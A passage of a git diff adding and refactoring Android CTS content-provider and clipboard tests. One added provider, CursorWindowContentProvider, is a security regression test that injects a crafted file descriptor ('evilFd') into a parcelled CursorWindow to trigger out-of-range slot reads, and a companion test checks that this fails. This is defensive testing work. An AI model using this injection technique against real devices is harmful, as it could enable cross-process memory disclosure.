     }
 
+    @UiThreadTest
+    public void testSetPrimaryClip_multipleMimeTypes() {
+        ContentResolver contentResolver = mContext.getContentResolver();
+
+        Intent intent = new Intent(mContext, ClipboardManagerTest.class);
+        Uri uri = Uri.parse("http://www.google.com");
+        Uri contentUri1 = Uri.parse("content://ctstest/testtable1");
+        Uri contentUri2 = Uri.parse("content://ctstest/testtable2");
+        Uri contentUri3 = Uri.parse("content://ctstest/testtable1/0");
+        Uri contentUri4 = Uri.parse("content://ctstest/testtable1/1");
+        Uri contentUri5 = Uri.parse("content://ctstest/testtable2/0");
+        Uri contentUri6 = Uri.parse("content://ctstest/testtable2/1");
+        Uri contentUri7 = Uri.parse("content://ctstest/testtable2/2");
+        Uri contentUri8 = Uri.parse("content://ctstest/testtable2/3");
+
+        ClipData clipData = ClipData.newPlainText("TextLabel", "Text");
+        clipData.addItem(contentResolver, new Item("More Text"));
+        clipData.addItem(contentResolver, new Item(intent));
+        clipData.addItem(contentResolver, new Item(uri));
+        clipData.addItem(contentResolver, new Item(contentUri1));
+        clipData.addItem(contentResolver, new Item(contentUri2));
+        clipData.addItem(contentResolver, new Item(contentUri3));
+        clipData.addItem(contentResolver, new Item(contentUri4));
+        clipData.addItem(contentResolver, new Item(contentUri5));
+        clipData.addItem(contentResolver, new Item(contentUri6));
+        clipData.addItem(contentResolver, new Item(contentUri7));
+        clipData.addItem(contentResolver, new Item(contentUri8));
+
+        assertClipData(clipData, "TextLabel",
+                new String[] {
+                        ClipDescription.MIMETYPE_TEXT_PLAIN,
+                        ClipDescription.MIMETYPE_TEXT_INTENT,
+                        ClipDescription.MIMETYPE_TEXT_URILIST,
+                        "vnd.android.cursor.dir/com.android.content.testtable1",
+                        "vnd.android.cursor.dir/com.android.content.testtable2",
+                        "vnd.android.cursor.item/com.android.content.testtable1",
+                        "vnd.android.cursor.item/com.android.content.testtable2",
+                        "image/jpeg",
+                        "audio/mpeg",
+                        "video/mpeg"
+                },
+                new ExpectedClipItem("Text", null, null),
+                new ExpectedClipItem("More Text", null, null),
+                new ExpectedClipItem(null, intent, null),
+                new ExpectedClipItem(null, null, uri),
+                new ExpectedClipItem(null, null, contentUri1),
+                new ExpectedClipItem(null, null, contentUri2),
+                new ExpectedClipItem(null, null, contentUri3),
+                new ExpectedClipItem(null, null, contentUri4),
+                new ExpectedClipItem(null, null, contentUri5),
+                new ExpectedClipItem(null, null, contentUri6),
+                new ExpectedClipItem(null, null, contentUri7),
+                new ExpectedClipItem(null, null, contentUri8));
+    }
+
     private class ExpectedClipItem {
         CharSequence mText;
         Intent mIntent;
@@ -160,21 +216,25 @@
         assertNotNull(clipboardManager.getPrimaryClip());
         assertNotNull(clipboardManager.getPrimaryClipDescription());
 
-        ClipData data = clipboardManager.getPrimaryClip();
+        assertClipData(clipboardManager.getPrimaryClip(),
+                expectedLabel, expectedMimeTypes, expectedClipItems);
+
+        assertClipDescription(clipboardManager.getPrimaryClipDescription(),
+                expectedLabel, expectedMimeTypes);
+    }
+
+    private void assertClipData(ClipData actualData, String expectedLabel,
+            String[] expectedMimeTypes, ExpectedClipItem... expectedClipItems) {
         if (expectedClipItems != null) {
-            assertEquals(expectedClipItems.length, data.getItemCount());
+            assertEquals(expectedClipItems.length, actualData.getItemCount());
             for (int i = 0; i < expectedClipItems.length; i++) {
-                assertClipItem(expectedClipItems[i], data.getItemAt(i));
+                assertClipItem(expectedClipItems[i], actualData.getItemAt(i));
             }
         } else {
             throw new IllegalArgumentException("Should have at least one expectedClipItem...");
         }
 
-        assertClipDescription(data.getDescription(),
-                expectedLabel, expectedMimeTypes);
-
-        assertClipDescription(clipboardManager.getPrimaryClipDescription(),
-                expectedLabel, expectedMimeTypes);
+        assertClipDescription(actualData.getDescription(), expectedLabel, expectedMimeTypes);
     }
 
     private void assertClipDescription(ClipDescription description, String expectedLabel,
diff --git a/tests/tests/content/src/android/content/cts/ContentProviderCursorWindowTest.java b/tests/tests/content/src/android/content/cts/ContentProviderCursorWindowTest.java
new file mode 100644
index 0000000..004b193
--- /dev/null
+++ b/tests/tests/content/src/android/content/cts/ContentProviderCursorWindowTest.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.content.cts;
+
+import android.database.Cursor;
+import android.database.sqlite.SQLiteException;
+import android.net.Uri;
+import android.test.AndroidTestCase;
+import android.util.Log;
+
+import java.io.IOException;
+
+/**
+ * Test {@link CursorWindowContentProvider} .
+ */
+public class ContentProviderCursorWindowTest extends AndroidTestCase {
+    private static final String TAG = "ContentProviderCursorWindowTest";
+
+    public void testQuery() throws IOException {
+        Cursor cursor = getContext().getContentResolver().query(
+                Uri.parse("content://cursorwindow.provider/hello"),
+                null, null, null, null
+        );
+        try {
+            cursor.moveToFirst();
+
+            int type = cursor.getType(0);
+            if (type != Cursor.FIELD_TYPE_BLOB) {
+                fail("Unexpected type " + type);
+            }
+            byte[] blob = cursor.getBlob(0);
+            Log.i(TAG,  "Blob length " + blob.length);
+            fail("getBlob should fail due to invalid offset used in the field slot");
+        } catch (SQLiteException expected) {
+            Log.i(TAG, "Expected exception: " + expected);
+        } finally {
+            cursor.close();
+        }
+    }
+}
diff --git a/tests/tests/content/src/android/content/cts/ContentProviderTest.java b/tests/tests/content/src/android/content/cts/ContentProviderTest.java
index e7d8a05..dc4a031 100644
--- a/tests/tests/content/src/android/content/cts/ContentProviderTest.java
+++ b/tests/tests/content/src/android/content/cts/ContentProviderTest.java
@@ -226,6 +226,11 @@
         // cannot trigger this callback reliably
     }
 
+    public void testRefresh_DefaultImplReturnsFalse() {
+        MockContentProvider provider = new MockContentProvider();
+        assertFalse(provider.refresh(null, null, null));
+    }
+
     public void testGetIContentProvider() {
         MockContentProvider mockContentProvider = new MockContentProvider();
 
diff --git a/tests/tests/content/src/android/content/cts/ContentResolverSyncTestCase.java b/tests/tests/content/src/android/content/cts/ContentResolverSyncTestCase.java
index 2da0bfb..86e66cc 100644
--- a/tests/tests/content/src/android/content/cts/ContentResolverSyncTestCase.java
+++ b/tests/tests/content/src/android/content/cts/ContentResolverSyncTestCase.java
@@ -39,6 +39,7 @@
     private static final Account ACCOUNT = new Account(MockAccountAuthenticator.ACCOUNT_NAME,
             MockAccountAuthenticator.ACCOUNT_TYPE);
 
+    private static final int INITIAL_SYNC_TIMEOUT_MS = 60 * 1000;
     private static final int LATCH_TIMEOUT_MS = 5000;
 
     private static AccountManager sAccountManager;
@@ -96,7 +97,7 @@
     }
 
     private void addAccountAndVerifyInitSync(Account account, String password,
-            String authority, int latchTimeoutMs, int accountIndex) {
+            String authority, int accountIndex) {
 
         CountDownLatch latch = setNewLatch(new CountDownLatch(1));
 
@@ -104,7 +105,7 @@
 
         // Wait with timeout for the callback to do its work
         try {
-            if (!latch.await(latchTimeoutMs, TimeUnit.MILLISECONDS)) {
+            if (!latch.await(INITIAL_SYNC_TIMEOUT_MS, TimeUnit.MILLISECONDS)) {
                 fail("should not time out waiting on latch");
             }
         } catch (InterruptedException e) {
@@ -167,7 +168,6 @@
         addAccountAndVerifyInitSync(ACCOUNT,
                 MockAccountAuthenticator.ACCOUNT_PASSWORD,
                 AUTHORITY,
-                LATCH_TIMEOUT_MS,
                 0);
 
         getMockSyncAdapter().clearData();
@@ -199,7 +199,6 @@
         addAccountAndVerifyInitSync(ACCOUNT,
                 MockAccountAuthenticator.ACCOUNT_PASSWORD,
                 AUTHORITY,
-                LATCH_TIMEOUT_MS,
                 0);
 
         getMockSyncAdapter().clearData();
@@ -343,7 +342,6 @@
         addAccountAndVerifyInitSync(ACCOUNT,
                 MockAccountAuthenticator.ACCOUNT_PASSWORD,
                 AUTHORITY,
-                LATCH_TIMEOUT_MS,
                 0);
 
         getMockSyncAdapter().clearData();
diff --git a/tests/tests/content/src/android/content/cts/ContentResolverTest.java b/tests/tests/content/src/android/content/cts/ContentResolverTest.java
index ea1227c..d1c03d2 100644
--- a/tests/tests/content/src/android/content/cts/ContentResolverTest.java
+++ b/tests/tests/content/src/android/content/cts/ContentResolverTest.java
@@ -16,19 +16,14 @@
 
 package android.content.cts;
 
-import android.content.cts.R;
-
-
 import android.accounts.Account;
 import android.content.ContentProviderClient;
 import android.content.ContentResolver;
 import android.content.ContentValues;
 import android.content.Context;
 import android.content.res.AssetFileDescriptor;
-import android.cts.util.PollingCheck;
 import android.database.ContentObserver;
 import android.database.Cursor;
-import android.database.sqlite.SQLiteQueryBuilder;
 import android.net.Uri;
 import android.os.Bundle;
 import android.os.CancellationSignal;
@@ -38,6 +33,9 @@
 import android.test.AndroidTestCase;
 import android.util.Log;
 
+import com.android.compatibility.common.util.PollingCheck;
+import com.android.internal.util.ArrayUtils;
+
 import java.io.FileInputStream;
 import java.io.FileNotFoundException;
 import java.io.IOException;
@@ -55,8 +53,6 @@
     private static final Uri TABLE1_CROSS_URI =
             Uri.parse("content://" + AUTHORITY + "/testtable1/cross");
     private static final Uri TABLE2_URI = Uri.parse("content://" + AUTHORITY + "/testtable2/");
-    private static final Uri SELF_URI = Uri.parse("content://" + AUTHORITY + "/self/");
-    private static final Uri CRASH_URI = Uri.parse("content://" + AUTHORITY + "/crash/");
 
     private static final Uri LEVEL1_URI = Uri.parse("content://" + AUTHORITY + "/level/");
     private static final Uri LEVEL2_URI = Uri.parse("content://" + AUTHORITY + "/level/child");
@@ -215,7 +211,7 @@
         // Verify we can still access it.
         String type1 = mContentResolver.getType(REMOTE_TABLE1_URI);
         assertTrue(type1.startsWith(ContentResolver.CURSOR_DIR_BASE_TYPE, 0));
-        
+
         // Get an unstable refrence on the remote content provider.
         ContentProviderClient uClient = mContentResolver.acquireUnstableContentProviderClient(
                 REMOTE_AUTHORITY);
@@ -305,7 +301,7 @@
     }
 
     public void testQuery() {
-        mCursor = mContentResolver.query(TABLE1_URI, null, null, null, null);
+        mCursor = mContentResolver.query(TABLE1_URI, null, null, null);
 
         assertNotNull(mCursor);
         assertEquals(3, mCursor.getCount());
@@ -321,9 +317,14 @@
         assertEquals(KEY2, mCursor.getString(mCursor.getColumnIndexOrThrow(COLUMN_KEY_NAME)));
         assertEquals(VALUE2, mCursor.getInt(mCursor.getColumnIndexOrThrow(COLUMN_VALUE_NAME)));
         mCursor.close();
+    }
 
-        String selection = COLUMN_ID_NAME + "=1";
-        mCursor = mContentResolver.query(TABLE1_URI, null, selection, null, null);
+    public void testQuery_WithSqlSelectionArgs() {
+        Bundle queryArgs = new Bundle();
+        queryArgs.putString(ContentResolver.QUERY_ARG_SQL_SELECTION, COLUMN_ID_NAME + "=?");
+        queryArgs.putStringArray(ContentResolver.QUERY_ARG_SQL_SELECTION_ARGS, new String[] {"1"});
+
+        mCursor = mContentResolver.query(TABLE1_URI, null, queryArgs, null);
         assertNotNull(mCursor);
         assertEquals(1, mCursor.getCount());
         assertEquals(3, mCursor.getColumnCount());
@@ -334,8 +335,9 @@
         assertEquals(VALUE1, mCursor.getInt(mCursor.getColumnIndexOrThrow(COLUMN_VALUE_NAME)));
         mCursor.close();
 
-        selection = COLUMN_KEY_NAME + "=\"" + KEY3 + "\"";
-        mCursor = mContentResolver.query(TABLE1_URI, null, selection, null, null);
+        queryArgs.putString(ContentResolver.QUERY_ARG_SQL_SELECTION, COLUMN_KEY_NAME + "=?");
+        queryArgs.putStringArray(ContentResolver.QUERY_ARG_SQL_SELECTION_ARGS, new String[] {KEY3});
+        mCursor = mContentResolver.query(TABLE1_URI, null, queryArgs, null);
         assertNotNull(mCursor);
         assertEquals(1, mCursor.getCount());
         assertEquals(3, mCursor.getColumnCount());
@@ -345,7 +347,118 @@
         assertEquals(KEY3, mCursor.getString(mCursor.getColumnIndexOrThrow(COLUMN_KEY_NAME)));
         assertEquals(VALUE3, mCursor.getInt(mCursor.getColumnIndexOrThrow(COLUMN_VALUE_NAME)));
         mCursor.close();
+    }
 
+    /*
+     * NOTE: this test is implicitly coupled to the implementation
+     * of MockContentProvider#query, specifically the facts:
+     *
+     * - it does *not* override the query w/ Bundle methods
+     * - it receives the auto-generated sql format arguments (supplied by the framework)
+     * - it is backed by sqlite and forwards the sql formatted args.
+     */
+    public void testQuery_SqlSortingFromBundleArgs() {
+
+        mContentResolver.delete(TABLE1_URI, null, null);
+        ContentValues values = new ContentValues();
+
+        values.put(COLUMN_KEY_NAME, "0");
+        values.put(COLUMN_VALUE_NAME, "abc");
+        mContentResolver.insert(TABLE1_URI, values);
+
+        values.put(COLUMN_KEY_NAME, "1");
+        values.put(COLUMN_VALUE_NAME, "DEF");
+        mContentResolver.insert(TABLE1_URI, values);
+
+        values.put(COLUMN_KEY_NAME, "2");
+        values.put(COLUMN_VALUE_NAME, "ghi");
+        mContentResolver.insert(TABLE1_URI, values);
+
+        String[] sortCols = new String[] { COLUMN_VALUE_NAME };
+        Bundle queryArgs = new Bundle();
+        queryArgs.putStringArray(
+                ContentResolver.QUERY_ARG_SORT_COLUMNS,
+                sortCols);
+
+        // Sort ascending...
+        queryArgs.putInt(
+                ContentResolver.QUERY_ARG_SORT_DIRECTION,
+                ContentResolver.QUERY_SORT_DIRECTION_ASCENDING);
+
+        mCursor = mContentResolver.query(TABLE1_URI, sortCols, queryArgs, null);
+        int col = mCursor.getColumnIndexOrThrow(COLUMN_VALUE_NAME);
+
+        mCursor.moveToNext();
+        assertEquals("DEF", mCursor.getString(col));
+        mCursor.moveToNext();
+        assertEquals("abc", mCursor.getString(col));
+        mCursor.moveToNext();
+        assertEquals("ghi", mCursor.getString(col));
+
+        mCursor.close();
+
+        // Nocase collation, descending...
+        queryArgs.putInt(
+                ContentResolver.QUERY_ARG_SORT_DIRECTION,
+                ContentResolver.QUERY_SORT_DIRECTION_DESCENDING);
+        queryArgs.putInt(
+                ContentResolver.QUERY_ARG_SORT_COLLATION,
+                java.text.Collator.SECONDARY);
+
+        mCursor = mContentResolver.query(TABLE1_URI, null, queryArgs, null);
+        col = mCursor.getColumnIndexOrThrow(COLUMN_VALUE_NAME);
+
+        mCursor.moveToNext();
+        assertEquals("ghi", mCursor.getString(col));
+        mCursor.moveToNext();
+        assertEquals("DEF", mCursor.getString(col));
+        mCursor.moveToNext();
+        assertEquals("abc", mCursor.getString(col));
+
+        mCursor.close();
+    }
+
+    /**
+     * Verifies that paging information is correctly relayed, and that
+     * honored arguments from a supporting client are returned correctly.
+     */
+    public void testQuery_PagedResults() {
+
+        Bundle queryArgs = new Bundle();
+        queryArgs.putInt(ContentResolver.QUERY_ARG_OFFSET, 10);
+        queryArgs.putInt(ContentResolver.QUERY_ARG_LIMIT, 3);
+        queryArgs.putInt(TestPagingContentProvider.RECORD_COUNT, 100);
+
+        mCursor = mContentResolver.query(
+                TestPagingContentProvider.PAGED_DATA_URI, null, queryArgs, null);
+
+        Bundle extras = mCursor.getExtras();
+        extras = extras != null ? extras : Bundle.EMPTY;
+
+        assertEquals(3, mCursor.getCount());
+        assertTrue(extras.containsKey(ContentResolver.EXTRA_TOTAL_COUNT));
+        assertEquals(100, extras.getInt(ContentResolver.EXTRA_TOTAL_COUNT));
+
+        String[] honoredArgs = extras.getStringArray(ContentResolver.EXTRA_HONORED_ARGS);
+        assertNotNull(honoredArgs);
+        assertTrue(ArrayUtils.contains(honoredArgs, ContentResolver.QUERY_ARG_OFFSET));
+        assertTrue(ArrayUtils.contains(honoredArgs, ContentResolver.QUERY_ARG_LIMIT));
+
+        int col = mCursor.getColumnIndexOrThrow(TestPagingContentProvider.COLUMN_POS);
+
+        mCursor.moveToNext();
+        assertEquals(10, mCursor.getInt(col));
+        mCursor.moveToNext();
+        assertEquals(11, mCursor.getInt(col));
+        mCursor.moveToNext();
+        assertEquals(12, mCursor.getInt(col));
+
+        assertFalse(mCursor.moveToNext());
+
+        mCursor.close();
+    }
+
+    public void testQuery_NullUriThrows() {
         try {
             mContentResolver.query(null, null, null, null, null);
             fail("did not throw NullPointerException when uri is null.");
@@ -567,7 +680,7 @@
                 }
             }
         }
-        
+
     }
 
     public void testCrashingOpenAssetFileDescriptor() throws IOException {
@@ -910,6 +1023,44 @@
         }
     }
 
+    public void testRefresh_DefaultImplReturnsFalse() {
+        boolean refreshed = mContentResolver.refresh(TABLE1_URI, null, null);
+        assertFalse(refreshed);
+        MockContentProvider.assertRefreshed(TABLE1_URI);
+    }
+
+    public void testRefresh_ReturnsProviderValue() {
+        try {
+            MockContentProvider.setRefreshReturnValue(true);
+            boolean refreshed = mContentResolver.refresh(TABLE1_URI, null, null);
+            assertTrue(refreshed);
+            MockContentProvider.assertRefreshed(TABLE1_URI);
+        } finally {
+            MockContentProvider.setRefreshReturnValue(false);
+        }
+    }
+
+    public void testRefresh_NullUriThrowsImmediately() {
+        try {
+            mContentResolver.refresh(null, null, null);
+            fail("did not throw NullPointerException when uri is null.");
+        } catch (NullPointerException e) {
+            //expected.
+        }
+    }
+
+    public void testRefresh_CancellableThrowsImmediately() {
+        CancellationSignal cancellationSignal = new CancellationSignal();
+        cancellationSignal.cancel();
+
+        try {
+            mContentResolver.refresh(TABLE1_URI, null, cancellationSignal);
+            fail("Expected OperationCanceledException");
+        } catch (OperationCanceledException ex) {
+            // expected
+        }
+    }
+
     public void testRegisterContentObserver() {
         final MockContentObserver mco = new MockContentObserver();
 
diff --git a/tests/tests/content/src/android/content/cts/ContextWrapperTest.java b/tests/tests/content/src/android/content/cts/ContextWrapperTest.java
index 4ffe490..5f48260 100644
--- a/tests/tests/content/src/android/content/cts/ContextWrapperTest.java
+++ b/tests/tests/content/src/android/content/cts/ContextWrapperTest.java
@@ -29,7 +29,6 @@
 import android.content.SharedPreferences;
 import android.content.pm.PackageInfo;
 import android.content.pm.PackageManager;
-import android.cts.util.PollingCheck;
 import android.database.Cursor;
 import android.database.sqlite.SQLiteCursorDriver;
 import android.database.sqlite.SQLiteDatabase;
@@ -45,6 +44,8 @@
 import android.test.AndroidTestCase;
 import android.view.WindowManager;
 
+import com.android.compatibility.common.util.PollingCheck;
+
 import java.io.File;
 import java.io.IOException;
 import java.io.InputStream;
diff --git a/tests/tests/content/src/android/content/cts/CursorWindowContentProvider.java b/tests/tests/content/src/android/content/cts/CursorWindowContentProvider.java
new file mode 100644
index 0000000..4266f35
--- /dev/null
+++ b/tests/tests/content/src/android/content/cts/CursorWindowContentProvider.java
@@ -0,0 +1,130 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.content.cts;
+
+import android.annotation.NonNull;
+import android.annotation.Nullable;
+import android.content.ContentProvider;
+import android.content.ContentValues;
+import android.database.AbstractWindowedCursor;
+import android.database.Cursor;
+import android.database.CursorWindow;
+import android.net.Uri;
+import android.os.Parcel;
+import android.os.ParcelFileDescriptor;
+import android.util.Log;
+
+/**
+ * Content provider that uses a custom {@link CursorWindow} to inject file descriptor
+ * pointing to another ashmem region having window slots with references outside of allowed ranges.
+ *
+ * <p>Used in {@link ContentProviderCursorWindowTest}
+ */
+public class CursorWindowContentProvider extends ContentProvider {
+    private static final String TAG = "CursorWindowContentProvider";
+    static {
+        System.loadLibrary("nativecursorwindow_jni");
+    }
+
+    @Override
+    public Cursor query(Uri uri, String[] projection, String selection,
+            String[] selectionArgs, String sortOrder) {
+        AbstractWindowedCursor cursor = new AbstractWindowedCursor() {
+            @Override
+            public int getCount() {
+                return 1;
+            }
+
+            @Override
+            public String[] getColumnNames() {
+                return new String[] {"a"};
+            }
+        };
+        cursor.setWindow(new InjectingCursorWindow("TmpWindow"));
+        return cursor;
+    }
+
+    class InjectingCursorWindow extends CursorWindow {
+        InjectingCursorWindow(String name) {
+            super(name);
+        }
+
+        @Override
+        public void writeToParcel(Parcel dest, int flags) {
+            Parcel tmp = Parcel.obtain();
+
+            super.writeToParcel(tmp, flags);
+            tmp.setDataPosition(0);
+            // Find location of file descriptor
+            int fdPos = -1;
+            while (tmp.dataAvail() > 0) {
+                fdPos = tmp.dataPosition();
+                int frameworkFdMarker = tmp.readInt();
+                if (frameworkFdMarker == 0x66642a85 /* BINDER_TYPE_FD */) {
+                    break;
+                }
+            }
+            if (fdPos == -1) {
+                tmp.recycle();
+                throw new IllegalStateException("File descriptor not found in the output of "
+                        + "CursorWindow.writeToParcel");
+            }
+            // Write reply with replaced file descriptor
+            ParcelFileDescriptor evilFd = ParcelFileDescriptor
+                    .adoptFd(makeNativeCursorWindowFd(1000, 1000, true));
+            dest.appendFrom(tmp, 0, fdPos);
+            dest.writeFileDescriptor(evilFd.getFileDescriptor());
+            tmp.setDataPosition(dest.dataPosition());
+            dest.appendFrom(tmp, dest.dataPosition(), tmp.dataAvail());
+            tmp.recycle();
+        }
+    }
+
+    private native static int makeNativeCursorWindowFd(int offset, int size, boolean isBlob);
+
+    // Stubs
+    @Override
+    public boolean onCreate() {
+        return true;
+    }
+
+    @Override
+    public int delete(Uri uri, String selection, String[] selectionArgs) {
+        Log.e(TAG, "delete() not implemented");
+        return 0;
+    }
+
+    @Override
+    public String getType(Uri uri) {
+        Log.e(TAG, "getType() not implemented");
+        return "";
+    }
+
+    @Override
+    public Uri insert(@NonNull Uri uri, @Nullable ContentValues values) {
+        Log.e(TAG, "insert() not implemented");
+        return null;
+    }
+
+    @Override
+    public int update(Uri uri, ContentValues values, String selection,
+            String[] selectionArgs) {
+        Log.e(TAG, "update() not implemented");
+        return 0;
+    }
+
+}
diff --git a/tests/tests/content/src/android/content/cts/MockContentProvider.java b/tests/tests/content/src/android/content/cts/MockContentProvider.java
index bddc82d..b6eb804 100644
--- a/tests/tests/content/src/android/content/cts/MockContentProvider.java
+++ b/tests/tests/content/src/android/content/cts/MockContentProvider.java
@@ -16,24 +16,21 @@
 
 package android.content.cts;
 
-import java.io.File;
-import java.io.FileNotFoundException;
-import java.io.FileOutputStream;
-import java.io.IOException;
-import java.io.OutputStreamWriter;
-import java.io.PrintWriter;
-import java.io.UnsupportedEncodingException;
-import java.util.HashMap;
+import static android.support.v4.util.Preconditions.checkArgument;
+import static junit.framework.Assert.assertEquals;
 
+import android.annotation.NonNull;
+import android.annotation.Nullable;
 import android.content.ContentProvider;
+import android.content.ContentProvider.PipeDataWriter;
+import android.content.ContentResolver;
 import android.content.ContentUris;
 import android.content.ContentValues;
 import android.content.Context;
-import android.content.SharedPreferences;
 import android.content.UriMatcher;
-import android.content.ContentProvider.PipeDataWriter;
 import android.content.res.AssetFileDescriptor;
 import android.database.Cursor;
+import android.database.CursorWrapper;
 import android.database.SQLException;
 import android.database.sqlite.SQLiteDatabase;
 import android.database.sqlite.SQLiteOpenHelper;
@@ -45,11 +42,18 @@
 import android.text.TextUtils;
 import android.util.Log;
 
+import java.io.File;
+import java.io.FileNotFoundException;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.OutputStreamWriter;
+import java.io.PrintWriter;
+import java.io.UnsupportedEncodingException;
+import java.util.HashMap;
+
 public class MockContentProvider extends ContentProvider
         implements PipeDataWriter<String> {
 
-    private SQLiteOpenHelper mOpenHelper;
-
     private static final String DEFAULT_AUTHORITY = "ctstest";
     private static final String DEFAULT_DBNAME = "ctstest.db";
     private static final int DBVERSION = 2;
@@ -62,12 +66,17 @@
     private static final int SELF_ID = 6;
     private static final int CRASH_ID = 6;
 
+    private static @Nullable Uri sRefreshedUri;
+    private static boolean sRefreshReturnValue;
+
     private final String mAuthority;
     private final String mDbName;
     private final UriMatcher URL_MATCHER;
     private HashMap<String, String> CTSDBTABLE1_LIST_PROJECTION_MAP;
     private HashMap<String, String> CTSDBTABLE2_LIST_PROJECTION_MAP;
 
+    private SQLiteOpenHelper mOpenHelper;
+
     private static class DatabaseHelper extends SQLiteOpenHelper {
 
         DatabaseHelper(Context context, String dbname) {
@@ -110,12 +119,12 @@
         URL_MATCHER.addURI(mAuthority, "self", SELF_ID);
         URL_MATCHER.addURI(mAuthority, "crash", CRASH_ID);
 
-        CTSDBTABLE1_LIST_PROJECTION_MAP = new HashMap<String, String>();
+        CTSDBTABLE1_LIST_PROJECTION_MAP = new HashMap<>();
         CTSDBTABLE1_LIST_PROJECTION_MAP.put("_id", "_id");
         CTSDBTABLE1_LIST_PROJECTION_MAP.put("key", "key");
         CTSDBTABLE1_LIST_PROJECTION_MAP.put("value", "value");
 
-        CTSDBTABLE2_LIST_PROJECTION_MAP = new HashMap<String, String>();
+        CTSDBTABLE2_LIST_PROJECTION_MAP = new HashMap<>();
         CTSDBTABLE2_LIST_PROJECTION_MAP.put("_id", "_id");
         CTSDBTABLE2_LIST_PROJECTION_MAP.put("key", "key");
         CTSDBTABLE2_LIST_PROJECTION_MAP.put("value", "value");
@@ -191,6 +200,21 @@
     }
 
     @Override
+    public String[] getStreamTypes(@NonNull Uri uri, @NonNull String mimeTypeFilter) {
+        if (URL_MATCHER.match(uri) == TESTTABLE2_ID) {
+            switch (Integer.parseInt(uri.getPathSegments().get(1)) % 10) {
+                case 0:
+                    return new String[]{"image/jpeg"};
+                case 1:
+                    return new String[]{"audio/mpeg"};
+                case 2:
+                    return new String[]{"video/mpeg", "audio/mpeg"};
+            }
+        }
+        return super.getStreamTypes(uri, mimeTypeFilter);
+    }
+
+    @Override
     public Uri insert(Uri uri, ContentValues initialValues) {
         long rowID;
         ContentValues values;
@@ -281,11 +305,7 @@
         }
 
         /* If no sort order is specified use the default */
-        String orderBy;
-        if (TextUtils.isEmpty(sortOrder))
-            orderBy = "_id";
-        else
-            orderBy = sortOrder;
+        String orderBy = TextUtils.isEmpty(sortOrder) ? "_id" : sortOrder;
 
         SQLiteDatabase db = mOpenHelper.getReadableDatabase();
         Cursor c = qb.query(db, projection, selection, selectionArgs, null, null, orderBy,
@@ -385,6 +405,13 @@
         }
     }
 
+    @Override
+    public boolean refresh(Uri uri, @Nullable Bundle args,
+            @Nullable CancellationSignal cancellationSignal) {
+        sRefreshedUri = uri;
+        return sRefreshReturnValue;
+    }
+
     private void crashOnLaunchIfNeeded() {
         if (getCrashOnLaunch(getContext())) {
             // The test case wants us to crash our process on first launch.
@@ -413,6 +440,14 @@
         }
     }
 
+    public static void setRefreshReturnValue(boolean value) {
+        sRefreshReturnValue = value;
+    }
+
+    public static void assertRefreshed(Uri expectedUri) {
+        assertEquals(sRefreshedUri, expectedUri);
+    }
+
     private static File getCrashOnLaunchFile(Context context) {
         return context.getFileStreamPath("MockContentProvider.crashonlaunch");
     }
diff --git a/tests/tests/content/src/android/content/cts/MockSyncAdapter.java b/tests/tests/content/src/android/content/cts/MockSyncAdapter.java
index df24749..957859e 100644
--- a/tests/tests/content/src/android/content/cts/MockSyncAdapter.java
+++ b/tests/tests/content/src/android/content/cts/MockSyncAdapter.java
@@ -30,13 +30,13 @@
 
     private static MockSyncAdapter sSyncAdapter = null;
 
-    private ArrayList<Account> mAccounts = new ArrayList<Account>();
-    private String mAuthority;
-    private Bundle mExtras;
-    private boolean mInitialized;
-    private boolean mStartSync;
-    private boolean mCancelSync;
-    private CountDownLatch mLatch;
+    private volatile ArrayList<Account> mAccounts = new ArrayList<Account>();
+    private volatile String mAuthority;
+    private volatile Bundle mExtras;
+    private volatile boolean mInitialized;
+    private volatile boolean mStartSync;
+    private volatile boolean mCancelSync;
+    private volatile CountDownLatch mLatch;
 
     public ArrayList<Account> getAccounts() {
         return mAccounts;
@@ -93,9 +93,7 @@
             mCancelSync = false;
         }
 
-        if (null != mLatch) {
-            mLatch.countDown();
-        }
+        countDownLatch();
     }
 
     public void cancelSync(ISyncContext syncContext) throws RemoteException {
@@ -107,9 +105,7 @@
         mStartSync = false;
         mCancelSync = true;
 
-        if (null != mLatch) {
-            mLatch.countDown();
-        }
+        countDownLatch();
     }
 
     public void initialize(android.accounts.Account account, java.lang.String authority)
@@ -122,8 +118,13 @@
         mStartSync = false;
         mCancelSync = false;
 
-        if (null != mLatch) {
-            mLatch.countDown();
+        countDownLatch();
+    }
+
+    private void countDownLatch() {
+        final CountDownLatch latch = mLatch;
+        if (latch != null) {
+            latch.countDown();
         }
     }
 
diff --git a/tests/tests/content/src/android/content/cts/SearchRecentSuggestionsProviderTest.java b/tests/tests/content/src/android/content/cts/SearchRecentSuggestionsProviderTest.java
index 4830122..bead462 100644
--- a/tests/tests/content/src/android/content/cts/SearchRecentSuggestionsProviderTest.java
+++ b/tests/tests/content/src/android/content/cts/SearchRecentSuggestionsProviderTest.java
@@ -43,7 +43,6 @@
     }
 
     public void testSearchRecentSuggestionsProvider() {
-        assertFalse(MockSRSProvider.setupSuggestCalled);
         final MockSRSProvider s = new MockSRSProvider();
         assertTrue(MockSRSProvider.setupSuggestCalled);
 
diff --git a/tests/tests/content/src/android/content/cts/TestPagingContentProvider.java b/tests/tests/content/src/android/content/cts/TestPagingContentProvider.java
new file mode 100644
index 0000000..6e38809
--- /dev/null
+++ b/tests/tests/content/src/android/content/cts/TestPagingContentProvider.java
@@ -0,0 +1,182 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
